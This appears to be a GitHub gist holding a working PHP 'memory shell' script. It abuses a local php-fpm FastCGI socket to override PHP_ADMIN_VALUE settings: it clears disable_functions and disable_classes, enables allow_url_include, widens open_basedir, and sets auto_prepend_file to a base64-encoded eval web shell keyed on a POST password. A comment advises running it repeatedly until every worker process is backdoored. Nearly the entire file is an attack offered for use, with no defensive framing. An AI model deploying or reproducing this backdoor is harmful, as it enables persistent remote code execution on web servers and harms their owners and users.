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@rmb122
Last active October 3, 2022 07:10
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php_memory_shell.php
<?php
class FCGIClient {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = -1) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b) {
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive() {
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect() {
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1) {
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value) {
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null) {
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data[$p++]);
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data[$p++]) << 16);
$nlen |= (ord($data[$p++]) << 8);
$nlen |= (ord($data[$p++]));
}
$vlen = ord($data[$p++]);
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data[$p++]) << 16);
$vlen |= (ord($data[$p++]) << 8);
$vlen |= (ord($data[$p++]));
}
$array[substr($data, $p, $nlen)] = substr($data, $p + $nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data) {
$ret = array();
$ret['version'] = ord($data[0]);
$ret['type'] = ord($data[1]);
$ret['requestId'] = (ord($data[2]) << 8) + ord($data[3]);
$ret['contentLength'] = (ord($data[4]) << 8) + ord($data[5]);
$ret['paddingLength'] = ord($data[6]);
$ret['reserved'] = ord($data[7]);
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket() {
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf = fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo) {
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin) {
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int)$this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content'][4])) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
if (isset($_GET['STOPME'])) {
echo "pwned!";
die();
}
$filepath = __FILE__;
$host = "unix:///var/run/php-fpm.sock";
// $host = "tcp://127.0.0.1";
$port = 9000;
$code = '<?php @eval($_POST["realhardpassword"]);?>';
if (strpos($host, 'unix://') !== false) {
$client = new FCGIClient($host);
} else {
$client = new FCGIClient($host, $port);
}
$base64_code = 'data:;base64,' . base64_encode($code);
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
$php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
} else {
$php_value = "disable_classes = \"\"\ndisable_functions = \"\"\nallow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = \"$base64_code\"";
}
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => basename($filepath),
'QUERY_STRING' => 'STOPME=1',
'REQUEST_URI' => '/' . basename($filepath),
'DOCUMENT_URI' => '/' . basename($filepath),
'DOCUMENT_ROOT' => dirname($filepath),
'PHP_ADMIN_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'nginx',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '10000',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => ''
);
var_dump($params);
// 需要注意, php-fpm 是多进程的, 一次运行只会污染到一个进程, 如果需要污染所有进程需要多跑几次
// It should be noted that php-fpm is multi-process, and it will only memory-shell one process per request. If you need to memory-shell all processes, you need to run several times untill all processes get pwned.
echo $client->request($params, '') . "\n";
?>
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